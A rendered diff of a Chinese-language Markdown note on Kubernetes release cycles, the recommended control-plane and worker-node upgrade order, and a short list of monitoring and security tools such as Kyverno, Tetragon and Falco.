[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): 每隔 3 个月会有一个新的次要版本 —— 例如 1.20.3 = 1(Major).20(Minor).3(patch)
|
||||
[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): 每 3 个月会有一个新的次要版本发布 —— 1.20.3 = 1(Major).20(Minor).3(patch)
|
||||
|
||||
**更新 Kubernetes 集群 的最佳方式是(来自** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):**
|
||||
**更新 Kubernetes Cluster 的最佳方法是(来自** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):**
|
||||
|
||||
- 按照以下顺序升级主节点组件:
|
||||
- etcd (all instances).
|
||||
- kube-apiserver (all control plane hosts).
|
||||
- kube-controller-manager.
|
||||
- kube-scheduler.
|
||||
- cloud controller manager, if you use one.
|
||||
- 升级工作节点组件,例如 kube-proxy、kubelet。
|
||||
- 按以下顺序升级 Master Node 组件:
|
||||
- etcd(所有实例)。
|
||||
- kube-apiserver(所有控制平面主机)。
|
||||
- kube-controller-manager。
|
||||
- kube-scheduler。
|
||||
- cloud controller manager(如果在使用的话)。
|
||||
- 升级 Worker Node 组件,例如 kube-proxy、kubelet。
|
||||
|
||||
## Kubernetes 监控与安全:
|
||||
|
||||
- Kyverno Policy Engine
|
||||
- Cilium Tetragon - 基于 eBPF 的安全可观测性与运行时强制
|
||||
- Cilium Tetragon - 基于 eBPF 的安全可观测性与运行时强制执行
|
||||
- 网络安全策略
|
||||
- Falco - 运行时安全监控与检测
|
||||
|
||||
|
||||
Reference in New Issue
Block a user